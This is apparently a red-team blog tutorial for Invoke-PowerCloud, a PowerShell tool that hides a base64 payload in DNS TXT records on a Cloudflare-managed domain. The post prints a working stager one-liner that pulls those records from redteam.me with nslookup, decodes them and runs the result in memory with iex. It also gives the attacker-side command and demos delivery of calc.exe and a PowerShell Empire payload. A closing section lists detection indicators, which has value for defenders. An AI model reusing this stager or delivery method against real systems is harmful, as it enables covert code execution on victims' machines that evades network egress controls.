# Powershell Payload Delivery via DNS using Invoke-PowerCloud ## Credits Rushing to say that the tool [Invoke-PowerCloud](https://github.com/mantvydasb/powercloud/blob/master/Invoke-PowerCloud.ps1) was heavily inspired by and based on the awesome work that Dominic Chell ([@domchell](https://twitter.com/domchell)) from [MDSec](https://twitter.com/MDSecLabs) had done with [PowerDNS](https://github.com/mdsecactivebreach/PowerDNS) - go follow them and try out the [tool](https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/) if you are not doing so yet! Not only that, I want to thank Dominic for taking his time to answer some of my questions regarding the PowerDNS, the setup and helping me troubleshoot it as I was having "some" issues getting the payload delivered to the target from the PowerDNS server. ...which eventually led me to Invoke-PowerCloud, so read on. ## What is Invoke-PowerCloud? [Invoke-PowerCloud](https://github.com/mantvydasb/powercloud/blob/master/Invoke-PowerCloud.ps1) is a script that allows you to deliver a powershell payload using DNS TXT records to a target in an environment that is egress limited to DNS only. ## How is Invoke-PowerCloud different from PowerDNS? I assume you have read [PowerShell DNS Delivery with PowerDNS](https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/) which explains how PowerDNS works. Invoke-PowerCloud works in a similar fashion, except for a couple of key differences, which may simplify the configuration process of your infrastructure to start delivering paylods via DNS. **With PowerDNS you need:** * a dedicated linux box with a public IP where you can run PowerDNS, so it can act as a DNS server * you also need multiple domain names to get the nameservers configured properly **With Invoke-PowerCloud you need:** * a cloudflare.com account * a domain name whose DNS management is transferred to cloudflare ## Cloudflare? eh? The way the tool works is by performing the following high level steps: * Take the powershell payload file and base64 encode it * Divide the payload into chunks of 255 bytes * Create a DNS zone file with DNS TXT records representing each chunk of the payload data retrieved from the previous step * Send the generated DNS zone file to cloudflare using their APIs * Generate two stagers for use with authoritative NS/non-authoritative NS * Stager can then be executed on the victim system. The stager will recover the base64 chunks from the DNS TXT records and rebuild the original payload * Stager executes the payload in memory! {% hint style="info" %} If you run the tool again to deliver another payload, the previous DNS TXT records will be deleted {% endhint %} ## Demo ### One off Configuration Remember - you need a cloudflare.com account for this to work. Assuming you have that, you need to edit the Invoke-PowerCloud as follows: 1. your cloudflare API key, defined in the variable `$Global:API_KEY` 2. your cloudflare email address, defined in the variable `$Global:EMAIL` ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F47332c793ebba1e2fdbf84db5fdede50d83069ca.png?generation=1613807678551463\&alt=media) ### DNS Management Secondly, you need to move the domain name which you are going to use for payload delivery to cloudflare. In this demo, I will use a domain I own `redteam.me` which is now managed by cloudflare: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F470484ae47c91df5ef028ee4ed1afb0c6e88e29c.png?generation=1613807678620083\&alt=media) Let's confirm redteam.me DNS is managed by cloudflare by issuing: ``` host -t ns redteam.me ``` ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F8ef70dc513524414f31974f504f1bc11f0cdb9d4.png?generation=1613807678347992\&alt=media) ### Payload Let's create a simple payload file - it will print a red message to the screen and open up a calc.exe: {% code title="payload.txt" %} ```csharp Write-host -foregroundcolor red "This is our first payload using Invoke- PowerCloud. As usual, let's pop the calc.exe"; Start-process calc.exe ``` {% endcode %} ### Good to Go We are now good to go - issue the below on your attacking system: ```csharp PS C:\tools\powercloud> . .\powercloud.ps1; Invoke-PowerCloud -FilePath .\payload.txt -Domain redteam.me -Verbose ``` The script will generate two stagers. One of them is shown here: {% code title="attacker\@victim" %} ```csharp $b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.redteam.me")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',""))))) ``` {% endcode %} ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2Fc7c586732bd57eaa54f6432d0e7433f86ce1463c.png?generation=1613807678898622\&alt=media) Let's execute the stager on the victim system to get the payload delivered via DNS: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2Fbd23977d3d4176c0d6c8b4877dd9a33a9cbaae68.png?generation=1613807678877029\&alt=media) ### Animated Demo Everything in action can be seen in the below gif: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2Fb56704497cb3244f7ed25964d781cb00024a531a.gif?generation=1613807678546962\&alt=media) ## Is Invoke-PowerCloud better than PowerDNS? No. It just works slightly differently, but achieves the same end goal. Also note, that Cloudflare API rate limiting applies. ## Detection Let's deliver a PowerShell empire payload using DNS and see how the system reacts to this: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2Fe45bed704258f39a297b1d005e99e0b6f9274036.gif?generation=1613807679357493\&alt=media) For those wondering about detection possibilities, the following is a list of signs (mix and match) that may qualify the host behaviour as `suspicious` and warrant a further investigation: * host "suddenly" bursted "many" `DNS TXT` requests to one domain * DNS queries follow the naming convention of 1, 2, 3, ..., N * majority of DNS answers contain `TXT Lenght` of `255` (trivial to change/randomize) * DNS answers are all `TTL = 120` (trivial to change/randomize) * TXT data in DNS answer has no white spaces (easy to change) * host suddenly/in a short span of time spawned "many" `nslookup` processes * has the endpoint changed once the DNS lookups stopped? i.e new processes spawned? Below is a snippet of the PCAP showing DNS traffic from the above demo - note the TXT Length and the data itself: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F3d38bad2b5aa7dcb676a612d549e4e24e8e387ac.png?generation=1613807678547927\&alt=media) Spike of `nslookup` for a host in a short amount of time: ![](https://2061087890-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTyPaV5dZf-eW1HRanG%2Fsync%2F9499dc55541adf6faabb35eced8a808168733e6b.png?generation=1613807678813708\&alt=media) Below is a sample PCAP for your inspection: {% file src="" %} DNS Traffic Packet Trace {% endfile %} ## Download You can download or contribute to Invoke-PowerCloud here: {% embed url="" %} ## References {% embed url="" %} {% embed url="" %}